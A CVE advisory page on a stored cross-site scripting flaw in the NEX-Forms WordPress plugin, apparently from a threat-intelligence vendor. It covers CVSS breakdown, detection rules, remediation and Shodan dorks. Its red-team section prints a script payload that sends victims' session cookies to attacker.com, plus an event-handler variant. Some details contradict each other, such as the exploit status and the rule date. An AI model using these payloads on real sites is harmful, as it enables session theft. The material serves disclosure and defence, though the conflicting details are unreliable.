☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Nex-forms logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-3468

CVE-2025-3468 Cross-Site Scripting in Nex-forms
📅 PUBLISHED: 2025-05-08 11:13 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
3.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-3468 is a Stored Cross-Site Scripting (XSS) vulnerability in the NEX-Forms – Ultimate Form Builder WordPress plugin, affecting all versions up to and including 8.9.1. The flaw resides in insufficient sanitization of the clean_html and form_fields parameters, allowing authenticated attackers with Custom-level access to inject arbitrary web scripts. When a victim (including administrators) accesses a page containing the malicious form, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score of 6.4 (Medium) reflects the authenticated requirement but high impact due to stored persistence and broad victim scope. No public exploit code or patch is currently available, making this a high-priority unpatched risk for WordPress sites using this plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The NEX-Forms plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files against the official source and monitor for updates. No known malicious packages have been reported, but the lack of a patch increases supply chain risk.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Requires authenticated Custom-level access.
  • User Interaction (UI): None (N) – No victim action needed beyond page visit.
  • Scope (S): Changed (C) – Compromised component impacts other resources (e.g., admin sessions).
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited script injection.
  • Availability (A): None (N) – No direct DoS impact.

Threat Level: Medium. The authenticated requirement reduces exploitability, but stored XSS in a form builder can affect all site visitors, including administrators, leading to privilege escalation.

Deep Dive & Mechanics

The vulnerability exists in the NEX-Forms plugin’s handling of form field parameters. The clean_html and form_fields parameters are processed without adequate input sanitization or output escaping. An attacker with Custom-level access (e.g., a subscriber or contributor role) can craft a form field containing malicious JavaScript. When the form is saved and later rendered on a page, the injected script executes in the context of the victim’s browser.

Root Cause: The plugin uses clean_html to strip HTML tags but fails to escape JavaScript event handlers or encoded payloads. The form_fields parameter is directly output without proper escaping, allowing <script> tags or on* event attributes.

Attack Flow:

  1. Attacker logs in with Custom-level privileges.
  2. Creates or edits a form, injecting XSS payload into form_fields (e.g., <script>alert(document.cookie)</script>).
  3. Saves the form; payload is stored in the database.
  4. Victim (any user) visits a page displaying the form.
  5. Payload executes, stealing cookies, redirecting, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (PHP):

// In form rendering function
$form_fields = get_post_meta($post_id, 'form_fields', true);
echo $form_fields; // Direct output without escaping

Patched Code (Hypothetical):

// In form rendering function
$form_fields = get_post_meta($post_id, 'form_fields', true);
echo esc_html($form_fields); // Escapes HTML entities

Key Difference: The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with NEX-Forms <= 8.9.1.
  • Authenticated user with Custom-level access (e.g., subscriber).

Steps:

  1. Log in to WordPress as a subscriber.
  2. Navigate to NEX-Forms → Add New Form.
  3. In the form builder, add a text field and set its value to:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the form and embed it on a page.
  5. Wait for an administrator to visit the page; the script exfiltrates their session cookie.

Alternative Payload (Event Handler):

<img src=x onerror="alert('XSS')">

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual form field content containing <script>, onerror, onload, or encoded JavaScript.
  • Use Web Application Firewall (WAF) rules to block XSS patterns in POST requests to /wp-admin/admin-ajax.php or form submission endpoints.

Hardening:

  • Disable the plugin until a patch is released.
  • Restrict Custom-level users from creating or editing forms (use role management plugins).
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • File Hashes (Plugin Files):
    • nex-forms/nex-forms.php (SHA256: UNKNOWN – verify against official source)
  • Database Entries:
    • wp_postmeta with meta_key = 'form_fields' containing <script> tags.
  • Network Traffic:
    • Outbound requests to attacker-controlled domains from WordPress admin pages.
  • Logs:
    • WordPress debug log entries showing clean_html or form_fields with suspicious content.

Detection Engineering

YARA Rule

rule CVE_2025_3468_NEX_Forms_XSS {
    meta:
        description = "Detects stored XSS payloads in NEX-Forms form_fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3468"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-3468 NEX-Forms Stored XSS Detection
id: 8a3f7c2e-1b4d-4e9f-8c6a-5d7b2e1f3a0c
status: experimental
description: Detects stored XSS payloads in NEX-Forms form_fields parameter
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'form_fields'
        http.body|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3468 NEX-Forms Stored XSS Attempt"; flow:to_server; content:"form_fields"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released by the vendor.
  2. Restrict user roles – Remove Custom-level access for untrusted users.
  3. Apply virtual patching via WAF to block XSS patterns in form submissions.

Long-term Fix:

  • Monitor the NEX-Forms plugin page for updates. Apply version 8.9.2 or later when released.
  • Implement input validation and output escaping in custom code if modifying the plugin.

Workaround:

  • Use a security plugin (e.g., Wordfence) to block XSS payloads.
  • Add the following to .htaccess to restrict form submission endpoints:
    <FilesMatch "admin-ajax\.php">
        Order Deny,Allow
        Deny from all
        Allow from 127.0.0.1
    </FilesMatch>
    

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"nex-forms"
http.html:"wp-content/plugins/nex-forms"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-3468/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.